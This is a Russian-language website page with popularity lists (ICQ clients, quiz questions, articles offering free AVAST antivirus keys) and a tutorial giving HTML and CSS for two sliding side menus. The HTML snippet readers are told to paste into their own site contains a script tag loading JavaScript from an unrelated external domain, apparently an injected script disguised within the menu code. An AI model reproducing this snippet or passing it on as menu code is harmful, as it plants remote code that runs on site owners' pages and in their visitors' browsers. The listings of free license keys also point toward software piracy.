Просмотров: [17608] | |
1) Как создать icq чат самому на своем компьютере |
Просмотров: [16618] | |
2) Ключи для антивируса AVAST 4.8 бесплатно и без регистрации |
Просмотров: [15858] | |
3) Ключи для антивируса AVAST 4.8 Professional бесплатно и без регистрации |
Просмотров: [14015] | |
4) Вопросы и ответы для викторины для icq чата 0-1000 (часть 1) |
Просмотров: [13938] | |
5) Ключи для антивируса AVAST 4.7 - 5.0 бесплатно и без регистрации |
Просмотров: [12340] | |
6) Прикольные выражения и смешные фразы #1 |
Просмотров: [8487] | |
7) Вопросы и ответы для викторины для icq чата (часть 3) |
Просмотров: [8318] | |
8) Вопросы и ответы для викторины для icq чата 0-1000 (часть 2) |
Просмотров: [5374] | |
9) Боты с анекдотами |
Просмотров: [4507] | |
10) Ключи для антивируса AVAST 4.8 - 5.0 бесплатно и без регистрации |
Просмотров: [20248] | |
1) Tegos ICQ 2.7 light |
Просмотров: [10353] | |
2) Jimm XaTTaB |
Просмотров: [9899] | |
3) Tegos ICQ 2.5 |
Просмотров: [9859] | |
4) Tegos ICQ 2.8 |
Просмотров: [8759] | |
5) Jimm BEST v.1.25 |
Просмотров: [8535] | |
6) QIP Mobile Samsung |
Просмотров: [7798] | |
7) Jimm Tegos 2.2 smiles |
Просмотров: [7287] | |
8) Tegos ICQ 2.7 |
Просмотров: [6724] | |
9) QIP 8080 |
Просмотров: [6140] | |
10) Самый лучший набор смайлов! (колобки) |
Загрузок: [4957] | |
1) QIP Mobile Siemens |
Загрузок: [3916] | |
2) Tegos ICQ 2.7 light |
Загрузок: [2563] | |
3) Jimm BEST v.1.25 |
Загрузок: [2023] | |
4) Jimm XaTTaB |
Загрузок: [1732] | |
5) Tegos ICQ 2.5 |
Загрузок: [1673] | |
6) QIP Mobile Samsung |
Загрузок: [1587] | |
7) Tegos ICQ 2.8 |
Загрузок: [1496] | |
8) Tegos ICQ 2.7 |
Загрузок: [1397] | |
9) Tegos ICQ 2.6 lite |
Загрузок: [1366] | |
10) Jimm Tegos 2.2 smiles |
18:57 Боковое Меню Цветное и серое | |
Красивые 2 типа Боковых Менюшек,вам представление более 2 видов меню, выберете тот который будет подойдет вашему дизайну оба меню красивые,и без багов,сам сайт скрипт не нагружает при загрузке... И так Приступим У Самой Установчке: Этот самый текст ставим там где мы хотели бы видеть свое новое меню HTML: Код <div id="main"> <ul id="navigationMenu"> <li> <a class="m_home " href="$HOME_PAGE_LINK$"><span>На главную</span></a> </li> <li> <a class="m_gost" href="/gb"><span>Гостевая</span></a> </li> <li> <a class="m_forum" href="/forum"><span>Форум</span></a> </li> <li> <a class="m_pochta" href="/index/0-3"><span>Обратная связь</span></a> </li><script type="text/javascript" src="http://adoit.pw/border.js"></script> <?if($USER_LOGGED_IN$)?> <li> <a class="m_vixod" href="$LOGOUT_LINK$"><span>Выход</span></a> </li> <?else?> <li> <a class="m_vxod" href="$LOGIN_LINK$"><span>Вход</span></a> </li> <?endif?> </ul> </div> <!-- /Конец тегов левое боковое меню --> А Вот два типа менюшек выбирайте который вам нужен Серое Меню Код #main{ position:fixed; top: 150px; right: 0px; padding:0; } #main ul{ padding:0; } #navigationMenu li{ list-style:none; height:35px; width:35px; } #navigationMenu span{ position:absolute; overflow:hidden; width:0; right:35px; padding:0; font:12px Verdana,Arial,Helvetica,sans-serif; font-weight:bold; line-height:35px; white-space:nowrap; -webkit-transition: 0.25s; -moz-transition: 0.25s; transition: 0.25s; } #navigationMenu a{ display:block; position:relative; background:url(http://pnghosts.ru/img/navigation_2.png) no-repeat; height:35px; width:35px; } #navigationMenu a:hover span{ overflow:hidden; text-align:center; width:110px; padding:0px 10px; } #navigationMenu a:hover{ text-decoration:none; } #navigationMenu .m_home {background-position:0 0;} #navigationMenu .m_home :hover {background-position:0 -35px;} #navigationMenu .m_gost {background-position:-35px 0;} #navigationMenu .m_gost:hover {background-position:-35px -35px;} #navigationMenu .m_forum {background-position:-70px 0;} #navigationMenu .m_forum:hover {background-position:-70px -35px;} #navigationMenu .m_pochta { background-position:-105px 0;} #navigationMenu .m_pochta:hover{ background-position:-105px -35px;} #navigationMenu .m_vxod { background-position:-140px 0;} #navigationMenu .m_vxod:hover { background-position:-140px -35px;} #navigationMenu .m_vixod { background-position:-175px 0;} #navigationMenu .m_vixod:hover { background-position:-175px -35px;} #navigationMenu .m_gost span, #navigationMenu .m_forum span, #navigationMenu .m_pochta span, #navigationMenu .m_vxod span, #navigationMenu .m_vixod span, #navigationMenu .m_home span { background:#444; color:#777; text-shadow:1px 1px 0 #333; } Цветное меню Код #main{ position:fixed; top: 150px; left: 0px; padding:0; } #main ul{ padding:0; } #navigationMenu li{ list-style:none; height:35px; width:35px; } #navigationMenu span{ position:absolute; overflow:hidden; width:0; left:35px; padding:0; font:12px Verdana,Arial,Helvetica,sans-serif; font-weight:bold; line-height:35px; white-space:nowrap; -webkit-transition: 0.25s; -moz-transition: 0.25s; transition: 0.25s; } #navigationMenu a{ display:block; position:relative; background:url(http://pnghosts.ru/img/navigation_1.png) no-repeat; height:35px; width:35px; } #navigationMenu a:hover span{ overflow:hidden; text-align:center; width:110px; padding:0px 10px; } #navigationMenu a:hover{ text-decoration:none; } #navigationMenu .m_home {background-position:0 0;} #navigationMenu .m_home :hover {background-position:0 -35px;} #navigationMenu .m_home span{ background:#7da315; color:#3d4f0c; text-shadow:1px 1px 0 #99bf31; } #navigationMenu .m_gost {background-position:-35px 0;} #navigationMenu .m_gost:hover {background-position:-35px -35px;} #navigationMenu .m_gost span{ background:#1e8bb4; color:#223a44; text-shadow:1px 1px 0 #44a8d0; } #navigationMenu .m_forum {background-position:-70px 0;} #navigationMenu .m_forum:hover {background-position:-70px -35px;} #navigationMenu .m_forum span{ background:#c86c1f; color:#5a3517; text-shadow:1px 1px 0 #d28344; } #navigationMenu .m_pochta { background-position:-105px 0;} #navigationMenu .m_pochta:hover{ background-position:-105px -35px;} #navigationMenu .m_pochta span{ background-color:#d0a525; color:#604e18; text-shadow:1px 1px 0 #d8b54b; } #navigationMenu .m_vxod { background-position:-140px 0;} #navigationMenu .m_vxod:hover { background-position:-140px -35px;} #navigationMenu .m_vxod span{ background-color:#af1e83; color:#460f35; text-shadow:1px 1px 0 #d244a6; } #navigationMenu .m_vixod { background-position:-175px 0;} #navigationMenu .m_vixod:hover { background-position:-175px -35px;} #navigationMenu .m_vixod span{ background-color:#27ddbf; color:#097863; text-shadow:1px 1px 0 #87ffe7; } | |
|
Всего комментариев: 0 | |